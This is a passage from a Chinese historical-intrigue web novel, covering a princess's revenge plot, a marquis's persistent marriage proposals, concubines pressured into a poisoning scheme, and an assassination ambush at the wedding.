朝华大长公主豁然起身,宽大的锦袖带倒了旁边的茶盏,“哐当”一声脆响,名贵的瓷器瞬间四分五裂,滚烫的茶水泼溅一地。
王府管事赶忙跪下磕头,颤声道:“殿下息怒。”
“好一个玉宵楼!真是一出‘好戏’!”朝华大长公主那张保养得宜的脸此刻因极度愤怒而扭曲,眼中的怒火被杀意所取代。
“竟敢编排到本宫头上来了!来人,将玉宵楼给本宫砸了。”
得知此事,驸马匆匆赶来。
他极力劝阻:“朝华,万不可砸了玉宵楼。”
“他们敢编排本宫,自然就该付出代价!”盛怒之下,朝华大长公主只恨不得亲自拔剑去砍了玉宵楼那群人的脑袋。
驸马忍着悲痛按住了她的双肩,沉声道:“朝华,你冷静些,你这么做不是让人觉得咱们心虚了所以才恼羞成怒么。你若今日派人打砸了玉宵楼,明日这幕后之人就会状告到皇上面前。”
“那就让他去,本宫倒是要看看谁胆子这般大!他敢告,本宫就敢杀了他。”朝华大长公主死死咬着唇,恨不得现在就见到那幕后之人。
“朝华,莫要说这些气话。”驸马一把将她拥在怀中。
“你若因此出了事,福安九泉之下也不会安心的。”
听到女儿的名字,朝华大长公主眼泪滚滚落下,她哑着嗓子道:“难道就这样放过他们吗?”
驸马摇头:“他们敢欺辱你和福安,自然要付出代价。只是教训玉宵楼之事,不能摆到明面上来。咱们从长计议。”
在他的劝解下,朝华大长公主只得暂时咽下了这口气。
*
玉宵楼编排的这一出戏,在有心人的推动下传得是沸沸扬扬。
裴明镜自然也知晓了此事。
他脑海里一瞬间就闪过了谢翊宁的脸。
此事,定然是谢翊宁所为。
他这么做的目的显而易见,就是为了洗清晏逐星身上的污名。
他一瞬间沉默了。
永安王竟然能为她做到这个地步么。
“大人,还查么?”郑晗拿着采买夜飞砂的名册一个一个核对,还是毫无头绪。
里边采买的人和公主府半点都扯不上关系。
福安郡主身边的丫鬟又死了。
他们现在像是走进了一条死胡同。
“当然要继续查。”裴明镜回答得斩钉截铁。
夜飞砂查不到,那就查那两人的身份背景亲朋好友,他们嘴硬,他不信他们的家人也嘴硬。
此事不光涉及晏逐星,还涉及了京中许多无辜丧命的百姓。
绝对不可半途而废。
听到他这么说,郑晗认命点头继续调查。
郑晗走后,裴明镜的心腹下属子平来了。
子平带来的消息像颗石子投入平静的水面。
“世子,如今外面有些闲言碎语,说您便是那玉宵楼戏文《千金孽》里替燕儿申冤的富家公子。昨日您在府衙前为晏大小姐正名,恰好印证了戏文里那一节。此事,可要咱们的人去压一压?”
裴明镜指尖在卷宗上顿了一瞬,淡淡道:“无稽之谈,不必理会。”
这谣言自然也传进了谢翊宁的耳朵里。
他听完,心头的火气“噌”地就窜了起来。
简直岂有此理!
他绞尽脑汁编排出来戏文是替他的小恩人出口恶气的。
怎么到头来,这戏文里英雄救美、仗义执言的光彩,全落到了裴明镜头上?
他裴明镜算什么东西。
一个刚与福安郡主相看过、不清不楚的男人,也配和他的小恩人扯上这等暧昧不清的关系?
再想到卫国公府那位出了名的心胸狭隘、睚眦必报的当家主母窦淑容。
谢翊宁只觉得一股郁气堵在胸口。
他的小恩人若真与裴明镜有了牵扯,将来岂不是要受那恶婆婆的磋磨?
不行,不行。
若让晏逐星嫁给了裴明镜,那就不是报恩,而是恩将仇报了。
他得想个法子,将此事掐死在摇篮里。
还没等谢翊宁出手,窦淑容就坐不住了。
“天杀的狐狸精,没嫁过来就让明镜替她办了那么多事,甚至连福安郡主都被弄死了。”
“完了完了,若是她真嫁进来,这府里岂不是成了她的一言堂?”
窦淑容急得嘴角都起了燎泡,恨不得现在就找一个人来跟儿子成亲。
可偏偏福安郡主刚死,太后和朝华大长公主还很悲愤,若她现在就张罗着给儿子娶妻,势必会惹得他们不悦。
但拖久了,她又怕晏逐星嫁进来。
窦淑容只觉得一个头两个大。
一旁的心腹嬷嬷容氏见主母这般焦虑,赶忙出言安慰:“夫人何必这般担心,晏家大小姐未必会嫁到咱们国公府来,永安王不是对她也很好么?”
“绝无可能!”窦淑容脱口而出。
她都看不上晏逐星,难不成帝后能看得上?
一个小小的商贾之女,哪里配得上王妃的位置。
“若只当一个侍妾呢……”容氏提醒。
窦淑容听到这话,瞬间像是打通了任督二脉。
是啊。
永安王向来受宠,他若真喜欢晏逐星,帝后拗不过他,保不准就让他纳了晏逐星。
窦淑容果断道:“咱们得想办法促成此事,让永安王纳了她当妾,彻底断了明镜的念想!”
第156章 第三次求娶
京城近来出了好几件大事。
先是上元节踩踏,后是福安郡主连同护卫一块被烧死。
如今又闹出了一桩新鲜事——
定远侯再次求娶烈国公表妹骆姑娘。
忠毅伯那日从定远侯府回家后,恳求着老母亲帮着走了一趟。
不出所料,烈国公夫人婉拒了。
忠毅伯带回烈国公府婉拒的消息,原以为他会放弃,不曾想定远侯却道:“无妨,本侯亲自去求。”
翌日。
定远侯骑着骏马,带着声势浩大的聘礼队伍,直抵烈国公府正门。
他请来的媒人高声道:“定远侯亲临,再求娶骆氏淑媛!”
片刻后,仆妇们簇拥着烈国公夫人出现。
她站在台阶之上微微颔首,语气温和却带着疏离:“侯爷亲至,有失远迎。前日已托冰人婉言回话,这桩婚事怕是不合适,还请侯爷回吧。”
定远侯利落下马,目光灼灼地仰视着阶上的烈国公夫人,为确保四下围观之人能听清,他刻意提高了声音。
“且慢。晏某今日亲来,只为剖白心迹:若蒙不弃,骆姑娘入我侯府,必为当家主母正妻!晏某此生,绝不相负!”
烈国公夫人轻轻一叹:“侯爷如此厚爱,愧不敢当。然婚姻乃结两姓之好,我还需与国公爷及骆氏族老细细商议,不敢即刻定夺……”
定远侯深深一揖,并未因被拒而失态,反而朗声道:“晏某诚意在此,聘礼暂留府上。三日后,晏某当再来聆听府上决断!”
说罢,转身上马,干脆利落地离开。
他这番被国公府连拒两次却执着求娶的举动,瞬间传遍京城。
众人都在赌三日后,烈国公府会不会将骆文缨嫁给定远侯。
这个热闹瞬间盖过了福安郡主被烧死的事情。
温家人自然也收到了消息。
温如珲气得狠狠踹了桌子一下:“如霜才走了多久,晏鸿升这个老匹夫竟然就要娶新妇了!”
“老三,怎的这般沉不住气!”温如璋面色阴沉地看着弟弟。
“大哥,不是我沉不住气,是晏鸿升他欺人太甚。他这样声势浩大地去求娶,不就是打咱们温家人的脸么。”温如珲恨不得现在就带人去将定远侯府给砸了。
“拜晏鸿升所赐,如今如霜声名狼藉,连累着咱们温家的女儿都不好谈婚论嫁了。此人不除,我心头之气难消啊。”
他越说越生气,竟是直接将椅子给踹散架了。
“他想娶,也得有命娶才行。”温如璋冷笑。
他看向管家:“联系上柳姨娘和林姨娘了么?”
管家赶忙点头:“联系上了。她二人皆是温家的家生子,爹娘都在府里。只是大小姐已去,她们恐怕……”
温如璋冷声打断:“她们是温家的人,骨子里流着温家的血。霜儿虽去了,但温家还在。”
“告诉她们,事成之后,温家会送她们爹娘出府荣养,保她们后半生无忧;若敢有二心,温家能让她们生,也能让她们死无葬身之地。”
“是。”管家一凛,急忙应下。
温如珲听到这话,方才意识到兄长早已留了后手。
“大哥打算何时动手?”他的语气里是压抑不住的兴奋。
“若定远侯娶妻,大婚那日就是动手的好时机。”温如璋看向弟弟,眼里满是笃定与自信。
温如珲恍然大悟。
人生三大喜事:金榜题名时,洞房花烛夜,他乡遇故知。
大婚当日,定远侯定然会放松警惕,那日下手最为合适。
先前他对定远侯娶妻有多生气,现在就有多期待。
恨不得明日就送定远侯入洞房。
*
定远侯的三日之期未到,裴明镜承诺的三日之期却到了。
他有些失落地来到了晏宅给晏逐星道歉。
“晏大小姐,抱歉,线索查到福安郡主的丫鬟就断了。目前还无法将幕后之人捉拿归案。”
他抽丝剥茧,一路调查,查到了福安郡主的丫鬟汀兰的兄长身上。
但汀兰已死,福安郡主也死了。
这事到此就无法继续再查了。
“无妨,大人已经尽力了。”晏逐星对此并不意外。
福安郡主就算漏了什么线索,朝华大长公主也会在事后替她抹平。
况且,福安郡主已经死了,她的仇也报了,裴明镜能否查出真凶对她来说也不重要。
“可是……”裴明镜还要说什么,就被晏逐星打断了。
“如今真凶已经不重要,重要的是那些死伤的百姓是否得到了救治和补偿。”
裴明镜点头:“嗯,本官已经自掏腰包补偿了他们。”
晏逐星又道:“若那些伤残了的百姓需要找活计,大人可以让他们家里人来找我。过几个月,我要开一家铺子,若有合适的人,可以让他们来帮工。”
裴明镜一怔。
晏逐星这安排比他更好。
授人以鱼不如授人以渔。
他只给了他们医药费,而晏逐星却能给他们一条生路。
“受教了。”他冲晏逐星拱了拱手,决定回家看看让母亲瞧瞧家中哪个铺子或者庄子上缺人,这些百姓若愿意帮工,他也可以将他们收下。
“大小姐想开什么铺子?”裴明镜有些好奇。
晏逐星含笑摇头:“等开了,大人就知道了。”
见她不愿多说,裴明镜也不好继续追问,只留了一句若有事需要帮忙,到卫国公府找裴芜,让裴芜找他,随后就离开了。
他来晏宅的消息第一时间就被窦淑容知道了。
窦淑容越发急了。
她暗暗想到:不行,撮合晏逐星入永安王府一事得快些了。
窦淑容急得大把大把地掉头发,却死活想不出一个好法子。
毕竟永安王行踪不定,晏逐星又整日窝在宅子里不出门,她硬是找不到一个撮合的机会。
好在定远侯第三次登门求娶,烈国公府终于松口了,答应骆文缨嫁去定远侯府。
因为骆家老夫人命不久矣,两家决定抓紧时间成婚,婚礼就定在二月初。
窦淑容眼睛一亮。
定远侯成婚?!
这不就是一个现成的好机会么。
第157章 东窗事发了
定远侯人逢喜事精神爽,即将迎娶美娇娘,如今他瞧见谁都乐呵呵地给一个好脸色。
几个孩子去世的阴霾渐渐散去,侯府撤下白布,换上了满目红绸,静候新夫人入门。
侯府里,三位姨娘心思却大不相同。
阮寄薇已经收到了晏逐星的暗示,知道这位新来的当家主母和他们是一伙的,因此丝毫不慌。
每日该吃吃该喝喝该睡睡,尽职尽责地扮演一个怀孕的姨娘。
而林姨娘和柳姨娘却各有各的想法。
他们都收到了温家传来的密信,让他们择良机对定远侯下手,为夫人报仇。
林姨娘打算听命,但柳姨娘却不愿再为温家卖命。
“可若是咱们不听,爹娘还在温家呢,届时大老爷发怒可怎么办呀?”林姨娘满脸愁容地找柳姨娘商议此事。
“咱们如今的身契在侯爷手里,不在温家,有什么好怕的。”柳姨娘不以为意。
“我跟了侯爷多年,爹娘享了不少荣华富贵,如今若是因为我,他们被温家发落,那也只能说是福祸相依了。”
柳姨娘不愿再替温家办事。
当年她被温如霜抬为姨娘,结果跟了侯爷第二日就被迫服下了绝子药,至今无所出。
她恨透了温如霜,又怎么愿意替她报仇。
“柳姐姐,你怎么能这么想呢。”林姨娘一脸骇然。
“咱们都是无后的人,若是不对娘家人好一些,日后怕是死了都没人上香。”
“你都死了,有没有人给你上香你也不知道啊。”柳姨娘一脸无所谓。
“他们现在答应你,说什么让侄儿给你养老送终,等你真没了,他们就算反悔了不管你,你又能如何?难不成还从地底下爬出来吓死他们啊?”
林姨娘:“……”
感觉柳姐姐说得好有道理,她要被说动了怎么办。
“那咱们就不管了?可我爹娘要是出了什么事,我大哥二哥怕是要恨死我。”林姨娘还是拿不定主意,左右摇摆。
“恨吧。你恨了夫人那么多年,她不也好好地活了那么多年。”柳姨娘一句话就堵住了她的嘴。
林姨娘:“……”
“反正你要是犯傻,别拉我一块,我如今是侯府的姨娘,侯爷不会不管我的死活。”柳姨娘提醒。
“但若是事情败露,留给你的可就只有死路一条了。”
林姨娘被她说得背脊发凉,片刻后,方才小心翼翼道:“那咱们要把这事告诉侯爷么?毕竟传话人可说了,他能让我们生也能让我们死。”
“告诉侯爷有什么用,他能奖励你什么,把阮姨娘肚子里的孩子给你养么?”柳姨娘横了她一眼。
当丫鬟的时候,林杏儿就是个光有美貌没有脑子的。
怎么当了那么多年姨娘,半点长进也没有。
定远侯是那样有良心的男人吗?
他若有良心,就不会这样对夫人了。
柳姨娘警告道:“你呀,就别想那么多了,就当没发生过这事,老老实实地当你的姨娘。别以为告诉侯爷,侯爷就会对你另眼相待。”
“你若说了,保不准侯爷觉得咱们是温家留下的眼线,把咱们都赶出去。”
“这些时日你警醒着点,吃食上注意些就差不多了。放宽心,温家老爷还能到侯府后宅杀咱们两个小小姨娘不成。”
林姨娘吓坏了。
那样的话岂不是两头不讨好,到时候被赶出去,温家定然也容不下她们。
“我不说了,柳姐姐,我都听你的!”林姨娘赶忙表态。
她本就没什么主见。
家里人让她当夫人的陪嫁丫鬟,她就当了。
夫人让她当姨娘,她也当了。
如今温家人拿家里人威胁她,让她替温如霜报仇,她下意识地就想听话。
若不是柳姨娘劝她,她真的就要这么干了。
“那咱们要去和阮姨娘联络一下感情么,新主母入门,恐怕不会放过她吧?她肚子里可是侯府唯一的指望了。”林姨娘转移了话题。
“去什么去,她大着肚子,去了万一有个什么差池,全赖咱们头上。”柳姨娘将手里的瓜子全扔到了盘中,起身戳了一下林姨娘的脑门。
“关上门老老实实地过你的小日子就是了,别操心太多。”
“阮姨娘若是和新主母对上,不管谁赢谁输,都与咱们无关。”
林姨娘这下是彻底老实了,不敢再提此事,老老实实地回自己院子里呆着了。
她俩的对话全被晏逐星留下的眼线记下了,当天夜里就传到了晏宅。
晏逐星没想到这位柳姨娘倒是个拎得清的。
“温家要对付定远侯?啧。这可真是个好机会啊。”
晏逐星勾唇一笑。
借刀杀人的好机会,这不就来了。
*
朝华大长公主听了驸马的劝,没有马上动手,而是进宫求文昭帝彻查此事,究竟是什么人在散播这个谣言。
“福安死得惨,死后还被人戳脊梁骨,呜呜呜,皇上,您要替她讨回公道啊。”她在皇上面前哭得不顾形象,看起来可怜极了。
朝华大长公主泪眼婆娑道:“今日他们能编排福安,来日就能编排皇室其他人,皇上,您一定要对他们严惩不贷啊。”
文昭帝听完此事,也觉得编排谣言的人太不厚道了。
福安都死了,死得还那么凄惨。
这些人为了博人眼球,连一个死人都不放过。
实在过分。
他当即答应了下来,命人前去彻查。
没想到查来查去,最后竟查到了小儿子头上。
文昭帝:“……”
他有些恼火,当即宣谢翊宁入宫。
“玉宵楼那出戏,是你让人唱的吧?”他板着脸,严肃地看着谢翊宁。
一旁的小太监和小宫女们大气都不敢喘,生怕皇上发怒。
“是儿臣做的。”谢翊宁大大方方地承认了。
父皇肯定什么都查到了才会那么生气地把他叫到宫里来。
他现在继续否认,只会让父皇更生气。
还不如承认了呢。
文昭帝见他承认得那么快,更恼火了:“你说说你,朕和你母后是这么教导你的么。逝者为大,福安都死了,你还这般中伤她,岂是君子所为?”
“儿臣可从来没说过自己是君子。咱们老谢家有您和太子哥哥当君子就够了吧,少我一个也没什么。”谢翊宁小声反驳。
文昭帝:“……”
他气不打一处来,骂都不知道该怎么骂了,直接将手边的砚台砸了过去。
“父皇,上回的荷叶鸡好吃么?”谢翊宁闪身躲过,转移话题。
文昭帝:“……”
合着那天送荷叶鸡,就等着今天东窗事发挨骂时搬出来呢?
“父皇不说话,儿臣也知道,肯定很好吃,不然您那日就不会赏我那么多东西了。”谢翊宁自顾自地接话。
“好吃下回儿臣还给您做。您都不知道,那日和黄泥我手都和破皮了。但我想着父皇和母后能吃上,我就不觉得破皮有多疼了。”
文昭帝听到这话,心瞬间就软了。
谢翊宁察觉到他脸色变化,再接再厉,继续道:
“父皇,我知道错了,您吃了我做的荷叶鸡,能不能先别骂我,给我一个解释的机会。”
“我那么做是事出有因!”
文昭帝一肚子气被他这软话弄得不上不下的,有些无奈地看着他。
“那你说说,怎么个事出有因了。福安虽然伤了你的猫,但你也捅了她一刀,此事已经两清。你如今毁她名声,实在过分。今日你若说不出个所以然来,朕一定要重重罚你!”
怕他不以为意,还板着脸补充:“可不是扣点俸禄那么简单了。”
第158章 本宫要她死
“我这么做,都是跟朝华姑母学的!”谢翊宁振振有词。
“哦?”文昭帝有些疑惑。
谢翊宁当场就把朝华大长公主命人污蔑晏逐星是邪祟一事说了。
文昭帝听完皱起了眉头。
这么说来,倒也是一报还一报了。
“不对,那这也该是晏家大姑娘和你朝华姑母的恩怨,与你何干。”文昭帝猛地反应过来,差点就被儿子带沟里去了。
“晏大小姐是我的恩人。国师大人都说了,没有她,儿臣的死劫可过不了。”谢翊宁理直气壮。
文昭帝:?
他记得国师当时没说是谁吧。
只说了远在天边,近在眼前。
谢翊宁又道:“总而言之,朝华姑母告状完全是倒打一耙。总不能因为小恩人没有背景,就让她任意被朝华姑母污蔑吧。”
“再说了,话本子里哪个字提到了福安,哪个字提到了公主,只字未提呀。这世上那么多人被烧死。凭什么认定写的就是福安?”
“还是说,朝华姑母认为福安就是那种会因为别人貌美产生妒忌心,杀了别人的人?”
“最重要的是,儿臣只是让人写了个话本子,又没做什么。百姓们要自己代入自己猜测,儿臣也不好干预吧。这些流言蜚语就像一阵风,过一阵子就没了,若是一直盯着不放,反倒容易让人记挂。父皇您说对吧?”
谢翊宁的三连问直接把文昭帝给问沉默了。
他不得不承认儿子说得对。
如今京城里讨论得最多的是定远侯三次求娶骆家姑娘的事情,福安的事早已没多少人提起。
“你一天不给朕惹事就不痛快是吧。扣你半年俸禄,然后禁足半个月。行了,赶紧走吧,朕瞧着你就头疼。”文昭帝嫌弃地冲他挥了挥手。
“是!儿臣遵旨!”谢翊宁痛快地答应了下来。
反正他也不靠俸禄过活,罚就罚呗。
至于禁足,永安王府好玩的地方多了去了,他何必出府去玩。
区区半个月,不在话下。
临走前,他快步走到了文昭帝身边,替他揉起了脑袋。
“父皇别头疼,儿臣待会就让人给您送膏药来,是昨个才从南穹得来的好东西,听说对头疼特别管用。您让太医验一验,若安全您就试试呗。”
文昭帝就吃他这一套,可嘴上却是冷冰冰的五个字:“知道了,聒噪。”
“再聒噪您也就只能听这一会儿了,儿臣得禁足半个月呢,您半个月都见不着我了。”谢翊宁嘀咕完就不再说话,专心给文昭帝按了两刻钟。
一旁的严公公瞧着暗暗在心底感慨:
怪不得帝后这般偏宠永安王呢,人家值得。
看看,这小嘴甜的,这察言观色卖乖讨好的本事真是一等一的厉害。
据说当初皇后娘娘生下永安王后,得了一个见风就头疼的毛病,年仅五岁的永安王无意知晓此事后,就跑去找季太医学了缓解头疼的按摩手法。
每次皇后娘娘说头疼,永安王就会马上去给她按摩。
如今这手法也是越来越娴熟了。
瞧瞧皇上享受的模样。
啧,他也该去找季太医好好学学了。
*
得知谢翊宁被禁足,朝华大长公主便明白玉宵楼一事定然是他干的了。
她激动地入宫找文昭帝要说法。
“皇上,福安被造谣之事可是有眉目了?”她故意装作不知事情与谢翊宁有关。
文昭帝不紧不慢地开口:“话本子里只字未提福安。这世上那么多人被烧死。你让朕如何去惩戒写这话本子的人?”
“还是说,你认为福安就是那种会因为别人貌美产生妒忌心,杀了别人的人?”
“最重要的是,百姓们要自己代入自己猜测,朕也不好干预吧。这些流言蜚语就像一阵风,过一阵子就没了,若是一直盯着不放,反倒容易让人记挂。皇姐,你说对吧?”
朝华大长公主:“……”
她没想到她高高兴兴入宫听到的就是这样一番话。
一旁的严公公低头不敢吭声。
他总觉得皇上这话,有点耳熟。
“皇姐,此事就此作罢,莫要再生波澜。好好安葬福安才是。”文昭帝给出了最终的决断。
朝华大长公主咬牙切齿。
她就知道,事情若是涉及了谢翊宁,皇上肯定就会轻拿轻放。
她深呼吸不断告诫自己,不要和一个将死之人计较,再忍两年,谢翊宁就死了。
最终理智战胜了愤怒。
她挤出一抹假笑:“皇上言之有理,是本宫着相了。此事与福安有什么关系。福安那样善良乖巧的孩子,怎么会做出那些伤人的事情。”
“正是如此。”文昭帝点了点头。
朝华大长公主带着一肚子的怨气回了公主府。
驸马瞧见她脸色不好,便知道她这次入宫没能讨得了什么好。
他叹了一口气,握住了她的手:“无妨,这样的结果咱们不是早就猜到了吗。”
猜到是一回事,但真的发生了又是另一回事。
朝华大长公主只觉得心里有一团火在烧。
谢翊宁她动不得,难道晏逐星她还动不得么。
她盯着驸马的眼睛,一字一句道:“本宫要她死。”
虽然她没有明说是谁,但驸马还是听懂了。
他叹了一口气:“那便选在定远侯成婚那日吧。”
“嗯。”朝华大长公主点了点头。
定远侯成婚,晏逐星是他养女,她一定会出席。
那一日,就是她的死期。
第159章 是一个圈套
转眼就到了二月初,定远侯大婚当日。
骆文缨的母亲尉迟兰心已经被接到京城,住在国公府送她出嫁。
窗外的喧天锣鼓、唢呐声声,此刻骆文缨出嫁的屋内却寂静得可怕,只听得到尉迟兰心粗重而艰难的喘息声。
尉迟兰心看着女儿身上的大红嫁衣,浑浊的眼中不受控制地滚下大颗大颗的泪珠。
这件嫁衣,本该在十几年前就穿在了女儿身上。
如今她终于亲眼看见她穿上了。
尉迟兰心强撑着病体,轻声唤道:“文缨……”
骆文缨强忍着眼泪,走过来紧紧握住了母亲的手。
“娘,我在呢。”
尉迟兰心费力地扯出一个笑容:“娘……终于……等到这一天了……”
她艰难地吐出了这句话。
每一个字都耗尽了她残存的气力,却带着一种近乎执拗的欣慰和释然。
女儿的亲事,是她缠绵病榻时最大的心病。
如今女儿凤冠霞帔即将出嫁,后半生也算有了依靠,她终于可以放心了。
骆文缨俯下身,额头轻轻抵着母亲的手背,眼泪无声地落下。
“娘。”骆文缨的声音带上了哽咽。
“您放心,我一定会过得特别特别好的。您要好好调养身体,等我生了孩子带他来看您。告诉他,这就是他的外祖母,以后要好好孝顺外祖母。”
“好……娘等着……”
尉迟兰心艰难地抬起另一只手,颤巍巍地想去抚摸女儿的脸颊,却因为无力而颓然落下,只虚虚地擦过骆文缨鬓边垂下的流苏。
“傻孩子,大喜的日子……哭什么……”
尉迟兰心的眼神开始有些涣散,但她还是强撑着精神不想让女儿担心。
一旁的烈国公夫人瞧见这一幕,眼眶也湿润了。
她别过头去偷偷擦掉了眼泪,她知道姑母快不行了,母女这一别,怕是永远不能再见了。
这时,门外传来了喜娘刻意压低却难掩催促的声音:“小姐,吉时快到了,该上轿了。”
“娘,那您答应我,一定要等我三日后回门。日后我生了孩子,您也要去照看我,不然我什么都不懂,我会害怕的。”骆文缨着急地把最后的话说完,害怕以后再也无法见到母亲。
尉迟兰心艰难点头,而后用尽全身力气拔高声音催促她:“走!快走!别误了吉时!”
骆文缨抿着唇,跪下冲躺在床上的母亲行了一个最庄重的叩别礼。
额头重重地磕在冰冷的地砖上,发出沉闷的一声响。
再起身时,她没敢再看母亲一眼,咬紧了后槽牙憋住眼泪任由喜娘替她盖上了红盖头,上了花轿,离开了烈国公府。
*
定远侯府内一片喜气洋洋。
林姨娘紧张不已,在柳姨娘的屋子里来回踱步。
今日侯爷娶新夫人,她们是妾上不得台面,因而不得出席前边的宴席,只能在后院候着。
可她这颗心扑通扑通直跳,根本安静不下来。
“你就不能坐着么,走来走去,走的我头晕。”柳姨娘没好气地放下了手里的书看着她。
“我这不是担心么。”林姨娘一屁股坐到了她边上,忧心忡忡。
“万一温家人跑来杀我怎么办,我这两日都不敢睡觉不敢吃饭了。”
“你傻啊,吃丫鬟们的饭不就好了。温家人总不能丧心病狂地给整个侯府下药吧。”柳姨娘看得很开。
“这倒也是。”听她这么说,林姨娘放松了不少。
没过多久,角门的下人忽然来禀告:“林姨娘,门外有人求见,说是您的母亲。”
林姨娘的心扑通扑通直跳,不会吧,温家不会这么大手笔将她娘从青州接来了吧。
“我,我……”她无助地看向了柳姨娘。
她现在该怎么办。
“此事可曾禀告了侯爷?”柳姨娘沉声开口。
“侯爷今日大喜,这等小事怎敢惊扰。”传话的婆子脸上堆着尴尬的笑,眼神闪烁。
“林管家呢?他可点头应允温家人入府探望林姨娘?”柳姨娘步步紧逼。
婆子顿时语塞,支吾着说不出完整话来。
她心里清楚得很。
侯爷明令禁止温家人踏入侯府。
林姨娘的生母,不过是温家一个下人,林管家怎会违逆侯爷的意思放她进来?
只是那妇人先前塞了一两银子给她,又许诺事成之后再给二两。
这白花花的银子晃花了眼,她才鬼迷心窍,胆大包天地绕过侯爷和管家,直接寻到了林姨娘跟前。
原想着林姨娘是个好说话的性子,那二两银子轻轻松松就能到手,不曾想她竟然与柳姨娘这个难缠的呆在一块。
“侯府的规矩,你是忘了,还是压根不放在眼里?”柳姨娘声调陡然拔高,厉声质问。
“妾室亲眷探视,须得先行通禀主母!主母不在,当报与侯爷知晓。便是侯爷不得闲,也该由管家定夺。你这般越级私传,是何居心?!”
林姨娘被她拔高的音调吓了一跳,赶忙躲到了她身后,看着婆子像是在看什么洪水猛兽。
那婆子被柳姨娘厉声喝问,吓得一哆嗦,膝盖发软几乎要跪下去。
但她想到那还没到手的二两银子,又强自镇定下来。
脸上迅速堆起一副愁苦又委屈的神情,声音也带上了哭腔:
“哎哟喂,柳姨娘明鉴啊!”婆子拍着大腿,仿佛有天大的冤屈。
“老奴这不是看着林姨娘的娘亲实在可怜么。您是没瞧见,她娘亲在外头哭得那叫一个肝肠寸断,头发都白了大半,直说想闺女想得夜不能寐,家中又出了事情……”
她话还没说完,林姨娘就从柳姨娘身后急急奔了出来。
“我家中出了什么事?”
“这我哪知道啊,您的娘亲也没说呀。”婆子双手一摊,十分为难。
林姨娘一颗心七上八下,纠结不已。
“能有什么事,横竖不就是咱们猜的那些。”柳姨娘拽了她一把,提醒道,“你可别犯傻。”
这个节骨眼亲人忽然出现,一定是温家的圈套。
目的是为了逼她们就范。
林姨娘哪里能不知道呢,只是那可是她的亲娘啊。
她怔怔地看着柳姨娘,眼泪“歘”地落下。
第160章 截杀晏逐星
“柳姐姐,我知道你是为我好,可是……那毕竟是我的亲娘……”林姨娘哽咽着开口。
“她生了我,养了我,把我送到夫人身边伺候那天,她哭了好久。”
“她发了月银,会给我买新的珠花,我跟着夫人来京城时,她给了我二两银子当压箱银。那些都是她背着我爹和兄长攒下来的。我阿娘也是疼过我的。”
说到最后,她已经泣不成声。
柳姨娘已经明白她会做出什么决定了。
她别过脸不再看她:“随你。反正出事了别怨我没提醒你。”
“嗯。”林姨娘点了点头,流露出视死如归的表情。
她握住柳姨娘的手,凑到她耳边低声道,“我那二两压箱银一直没动过,从前侯爷夫人赏的银簪子还有值钱玩意也都藏在床底第三格青砖下。我若不在了,就都留给你。”
“至于过年过节给我上香就不用了,我有侄儿呢。”
“只是我的丫鬟雀儿和我一样不是很聪明,我若不在了,她恐怕也没什么好前程。”
“她才十四,柳姐姐,你到时候多帮帮她。”
她絮絮叨叨地开口,眼泪早已模糊了双眼。
柳姨娘硬是没有回头看她,也没回应她。
林姨娘吸了吸鼻子,用帕子将眼泪擦干净,这才看向传话的婆子。
“走吧,带我去见我娘。”
直到林姨娘的身影彻底消失在院门外,柳姨娘强忍着眼泪才落下。
“蠢货!天字第一号的大蠢货!”
她咬着牙,声音带着哽咽的颤音。
“谁稀罕你那点压箱银啊。”
“什么好东西,说得好像我没被赏过似的。”
“我又不是你亲姐姐,把丫鬟托付给我做什么,新主母来了,我都自身难保。你以为我很得宠吗。”
柳姨娘一边骂一边气得直跺脚。
片刻后,她猛地抿紧了唇瓣,柳眉倒竖,眼中的犹豫变成了破罐子破摔的决绝。
她使劲用鞋尖碾了碾脚下的青砖,咬牙切齿怒骂道:“罢了……就让我也当一回蠢货好了!”
*
定远侯府张灯结彩,红绸铺满了回廊庭院,喧天的锣鼓与宾客的贺喜声交织成一片灼人的喜庆。
晏逐星端坐于喧嚣的迎客厅内,饶有兴致地瞧着定远侯满面红光地迎接骆文缨回府。
三拜九叩,礼数周全,在一片祝福声中,骆文缨被簇拥着送入了洞房。
礼成之后,定远侯意气风发,仿佛扫尽了之前所有的阴霾。
他端着酒杯穿梭于席间,与满堂贵客开怀畅饮。
“恭喜恭喜。”
“同喜同喜。”
醇酒佳肴,觥筹交错,劝酒声、恭贺声此起彼伏。
晏逐星只等着温家送来的毒药被定远侯服下,她擦了擦眼睛,开始酝酿眼泪。
最近过得太顺心,很难说哭就哭了。
还是要提前准备一下。
不曾想,有人却打断了她。
“大小姐,柳姨娘在玉澜院候着,说有要事求见,是关于二小姐的。”
晏逐星认出了她。
是柳姨娘身边的丫鬟丁香。
九栀听到这话,眼里流露出一抹讶异。
晏逐星冲她微不可察地摇了摇头,而后看向丁香,唇边勾起了一抹玩味的笑:“好呀,那咱们走吧。”
九栀当即跟了上去。
丁香在前带路,晏逐星和九栀一前一后地跟在她后边。
玉澜院依旧保持着从前的布局,没有任何变动。
今日乃是定远侯大喜之日,各个院子的人手都去前院帮忙了。
玉澜院也不例外。
如今这儿只留了一个小丫鬟金巧看管院子。
金巧正百无聊赖地拨弄着廊下的花叶,猛抬头见晏逐星现身院门,惊得瞳孔骤缩,一句“大小姐”刚挤到舌尖。
一道利箭就从她身后的阴影处暴射而出,直冲晏逐星的心口而去。
电光石火间,晏逐星没有半分迟疑,猛地将引路的丫鬟丁香狠狠拽过挡在身前。
“为什……”丁香的惊疑甚至来不及出口,利箭就透胸而过。
她茫然地看着天空,身体软软瘫倒。
为什么她什么都没说,什么都还没做,大小姐就发现了不对劲?
暗处朝华大长公主派来的暗卫见一击不中,果断射出第二箭。
金巧吓得尖叫了起来。
然而,下一秒她的尖叫就卡在了喉咙里。
晏逐星身形鬼魅,以最快的速度冲到了廊下,大喊道:“九栀,点灯笼。”
潜伏在暗处的暗卫闻声一怔。
点灯笼?
命悬一线之际,点哪门子的灯笼?
没等他们想明白,晏逐星已如游鱼般滑入屋内。
他们射出的箭矢钉在门框上,扑了个空。
“追!”暗卫首领轻声下令。
四道黑影从檐顶疾扑而下,杀气腾腾地分作两路。
两人撞向房门去追晏逐星,另外两人则直扑另一边的九栀。
九栀反应奇快,在暗卫的利爪即将攫住她的前一瞬,旋身擦过灯笼,指尖的火折子精准点向其中一盏红纱灯芯。
灯芯燃亮,昏红的光晕瞬间漫开。
九栀用力将藏在灯笼后方的暗锁拉下。
廊下悬挂的十盏灯笼底座瞬间翻转,密密麻麻的箭矢如暴雨般激射而出。
扑向晏逐星的第一个暗卫连惨叫都没来得及发出,就被箭矢射中后脑轰然倒地。
